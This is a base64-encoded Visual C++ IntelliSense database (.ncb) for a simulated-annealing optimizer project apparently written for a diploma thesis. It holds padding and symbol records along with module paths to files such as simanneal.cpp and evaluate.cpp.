////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////AAAAAAAAwPsAAJDD////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
///////////////////////////eAgAADwAAEAAAAAA1ADUAVAIAAA8AACADAAAAHQAjAOcC
AAAPAAAQAwAAAAoACgBDAQAADwAAIBQAAAAFABsA7gIAAA8AACAlAAAAJQA+ADMBAAASZgAg
JQAAAAMAAwC7AgAAEQBAICUAAQAiACIAaAIAABAAQBAlAAIAHgAeAJECAAAQAEAQJQADAB8A
HwDhAQAAEGlAECUABQAUABQAHAIAABE7QCAlAAYAGAAYAAgCAAARLkAgJQAHABcAFwDNAQAA
EABAECUACQAPAA8AzQEAABAAQBAlAAwAEAAQAM0BAAAQAEAQJQAOABEAEQDNAQAAEABAECUA
EAASABIAMQIAABF4QCAlABEAGQAZAKEBAAAQAEAQJQATAA0ADQA+AgAAEXNAICUAFAAaABoA
9AEAABFpQCAlABUAFgAWAEwBAAAQAEAQJQAWAAYABgBMAQAAEABAECUAGAAHAAcATAEAABAA
QBAlABsACAAIAEwBAAAQAEAQJQAdAAkACQBMAQAAEABAECUAHwAKAAoAjQEAABAAQBAlACAA
CwALADIDAAAQAEAQJQAiACoAKgAyAwAAEABAECUAIwApACkAbAMAABEAQCAlACQALQAtAEEE
AAARAEAgJQAlADcANwBXAwAAEQBAICUAJgAsACwAtwMAABEAQCAlACcAMAAwAIUDAAARAEAg
JQAoAC4ALgCcAwAAEQBAICUAKQAvAC8AiwQAABAAQBAlACsAPQA9AGMEAAARAEAgJQAsADoA
OgAjBAAAEQBAICUALQA1ADUA+wIAABAAQBAlAC4AJgAmAA8EAAARAEAgJQAvADQANAD7AwAA
EQBAICUAMAAzADMA5wMAABEAQCAlADEAMgAyANMDAAARAEAgJQAyADEAMQAWAwAAEABAECUA
MwAnACcAAgEHAAIBCAACAAYAAgAYAAIBFwACABYAAgAVAAIAFAACABkAAgARAAIADwACAA4A
AsANAALmDAACCwkAAoUTAAIACwACAAoAAgAQAAIAEgACASUAAgEqAAIAGgACABsAAgAeAAIA
HAACACAAAgAhAAIAHwACwCkAAuYoAAILJwAChSYAAgAkAAIAHQACjyMAAgEiANMCAABfAQAA
XwEAAPABAABgAQAA8AEAABUCAADcAQAAhgEAANwBAABwAQAAeQEAANwBAABqAQAA3AEAAGAB
AADwAQAAtgEAAMEBAABLAgAAAwIAAF8BAABfAQAAhgEAAF8BAABwAQAAeQEAAF8BAABqAQAA
XwEAAGABAABfAQAA3AEAAEYDAADcAQAA8AEAAFQEAADwAQAA5wIAAPABAADnAgAA8AEAAJ8E
AAB1BAAANgQAAF8BAADTAgAALLowATwzXTwUAAAAYQgAAC9uYW1lcwAvbmNiL3RhcmdldGlu
Zm8AL25jYi9tb2R1bGVpbmZvAC9uY2Ivc3RvcmVpbmZvAC9uY2IvaWluc3RkZWZzAC9uY2Iv
bW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVx2YXJpYWJs
ZS5oAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRF
TVxiYXNpc2ZpbGUuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19P
cHRpbWllcmVyXFRFTVxiYXNpc2ZpbGUuaAAvbmNiL21vZHVsZS9DOlxBcmJlaXRfRGlwbG9t
YXJiZWl0XF9fT3B0aW1pZXJlclxURU1cY2FsY3VsYXRlLmNwcAAvbmNiL21vZHVsZS9DOlxB
cmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJlclxURU1cY2FsY3VsYXRlLmgAL25jYi9t
b2R1bGUvQzpcQXJiZWl0X0RpcGxvbWFyYmVpdFxfX09wdGltaWVyZXJcVEVNXGV2YWx1YXRl
LmNwcAAvbmNiL21vZHVsZS9DOlxBcmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJlclxU
RU1cZXZhbHVhdGUuaAAvbmNiL21vZHVsZS9DOlxBcmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0
aW1pZXJlclxURU1cc2FmZV9zdHJpbmcuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBs
b21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVxzYWZlX3N0cmluZy5oAC9uY2IvbW9kdWxlL0M6
XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVxzaW1hbm5lYWwuY3BwAC9u
Y2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVxzaW1h
bm5lYWwuaAAvbmNiL21vZHVsZS9DOlxBcmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJl
clxURU1cc2ltYW5uZWFsX3dyYXAuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21h
cmJlaXRcX19PcHRpbWllcmVyXFRFTVx2YXJpYWJsZS5jcHAAL25jYi90YXJnZXQvc2ltYW5u
ZWFsZmlsZSAtIFdpbjMyIERlYnVnAC9uY2IvdGFyZ2V0L3NpbWFubmVhbGZpbGUgLSBXaW4z
MiBSZWxlYXNlAC9uY2IvdmVyc2lvbmluZm8AL25jYi9tb2R1bGUvQzpcQXJiZWl0X0RpcGxv
bWFyYmVpdFxfX09wdGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVcdmFyaWFibGUuaAAvbmNi
L21vZHVsZS9DOlxBcmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJlclxURU1cc2ltYW5u
ZWFsZmlsZVxiYXNpc2ZpbGUuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJl
aXRcX19PcHRpbWllcmVyXFRFTVxzaW1hbm5lYWxmaWxlXGJhc2lzZmlsZS5oAC9uY2IvbW9k
dWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVxzaW1hbm5lYWxm
aWxlXGNhbGN1bGF0ZS5jcHAAL25jYi9tb2R1bGUvQzpcQXJiZWl0X0RpcGxvbWFyYmVpdFxf
X09wdGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVcY2FsY3VsYXRlLmgAL25jYi9tb2R1bGUv
QzpcQXJiZWl0X0RpcGxvbWFyYmVpdFxfX09wdGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVc
ZXZhbHVhdGUuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRp
bWllcmVyXFRFTVxzaW1hbm5lYWxmaWxlXGV2YWx1YXRlLmgAL25jYi9tb2R1bGUvQzpcQXJi
ZWl0X0RpcGxvbWFyYmVpdFxfX09wdGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVcc2FmZV9z
dHJpbmcuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWll
cmVyXFRFTVxzaW1hbm5lYWxmaWxlXHNhZmVfc3RyaW5nLmgAL25jYi9tb2R1bGUvQzpcQXJi
ZWl0X0RpcGxvbWFyYmVpdFxfX09wdGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVcc2ltYW5u
ZWFsLmgAL25jYi9tb2R1bGUvQzpcQXJiZWl0X0RpcGxvbWFyYmVpdFxfX09wdGltaWVyZXJc
VEVNXHNpbWFubmVhbGZpbGVcc2ltYW5uZWFsX3dyYXAuY3BwAC9uY2IvbW9kdWxlL0M6XEFy
YmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVxzaW1hbm5lYWxmaWxlXHNpbWFu
bmVhbGZpbGUuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRp
bWllcmVyXFRFTVxzaW3TAgAA0wIAAEsCAABfAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA7gIAAA87ABAAAAAApQClANsEAAASAgAgAAAAAAAAAABdBQAAEH8AIAAA
AQAeACEAXQUAABB/ACAAAAMAIwAnAF0FAAAQ1gAgAAAFACkAKwDpBAAAEAsAIAAABwClAMgA
vQUAABABACAAAAgAOABBAIYFAAAQfwAgAAAKADEANQD3BQAAEHgAIAAACwBDAFUACwYAABBz
ACAAAA8AywBgAScFAAAQ1gAgAAASAFgAewAnBQAAEAAAIAAAFAB+AKIAEQUAABDWACAAABUA
LQAvAM4FAAAQaQAgAAAWAA4AEADOBQAAEAEAIAAAGAASABwA3gUAABBpACAAABkAAgAHAKkF
AAAQAQAgAAAaAAkACwCWBQAAAQEAIAAAHAB2AYIB8QUAAAEuACAAAB4AYgF0AV8BAABfAQAA
ewUAAF8BAAByBQAA8AEAAPoEAADcAQAA3AEAAHIFAADwAQAA8AEAABwGAAD6BAAALAYAAPAB
AABHBQAAPAUAAPABAAA8BQAAXwEAANwBAADcAQAAnAUAAF8BAABfAQAA3AEAAJwFAADwAQAA
RgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAOwGAAAPaQAgDQAAABkARwDeAgAAD9YAIBcAAAAGABcA5wIAAA8AABAXAAAA
DQANAO4CAAAPAAAQFwAAABUAFQAzAQAAEgAAIBcAAAADAAMAbwYAABLWACAXAAAABAAEAF0F
AAAQO0AQFwABABoAGgBdBQAAEC5AEBcAAwAbABsAXQUAABBpQBAXAAUAHAAcAOkEAAAQAEAQ
FwAHAC0ALQC9BQAAEABAEBcACAAgACAABgcAABEAQCAXAAkAIwAjAIYFAAAQc0AQFwALAB8A
HwD3BQAAEABAEBcADAAlACUACwYAABAAQBAXABAARQBGAPYGAAARAEAgFwARACIAIgAnBQAA
EABAEBcAEwAsACwAJwUAABAAQBAXABYAKwArABEFAAAQeEAQFwAXAB0AHQDOBQAAENZAEBcA
GAALAAsAzgUAABDWQBAXABoACgAKAN4FAAAQAkAQFwAbAAcABwDdBgAAEdZAIBcAHAAWABYA
iwYAABHWQCAXAB0ADgAOAHwGAAAR1kAgFwAeAA0ADQCkBgAAEdZAIBcAHwAQABAAswYAABHW
QCAXACAAEgASAMIGAAAR1kAgFwAhABUAFQCpBQAAENZAEBcAIgAIAAgAAl0IAAIABwACBQYA
AgASAAIcDAACBQoAAgAPAAIACwACAA0AAmUQAAJhEQACZgkAAi4OAAKLFQACBRwAAgUTAAIG
FAACHBgAAgUXAAIAGQACABoAAgAbAAJlFgBfAQAAXwEAAHsFAABfAQAAcgUAAPABAAD6BAAA
3AEAAEsCAADcAQAAcgUAAPABAADwAQAAHAYAAPoEAAA8BwAANgQAAPABAAAaBwAA8AEAACsH
AAAaBwAAXwEAANwBAADcAQAAnAUAAF8BAAA2BAAA5wIAAOcCAADwAQAA8AEAAFQEAABfAQAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAADsBgAAD9YAEAAAAAAFAAUA5wIAAA/WABAAAAAABQAFAEMBAAAP1gAQAAAAAAQA
BADuAgAAD9YAEAAAAAAEAAQA2wQAABLWACAAAAAAAQABAIUHAAASAAAgAAAAAAAAAACTBwAA
AdYAIAAABAAnAEAAkwcAAAHWACAAAAkABAAlAPABAACdBwAArgcAALwHAADwAQAAnQcAAEYD
AACuBwAAvAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA7AYAAA/WABAAAAAACgAKAOcCAAAP1gAQAAAAAAoACgBDAQAAD9YAEAAAAAAJAAkA
7gIAAA/WABAAAAAACQAJAG8GAAASpQAgAAAAAAMAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
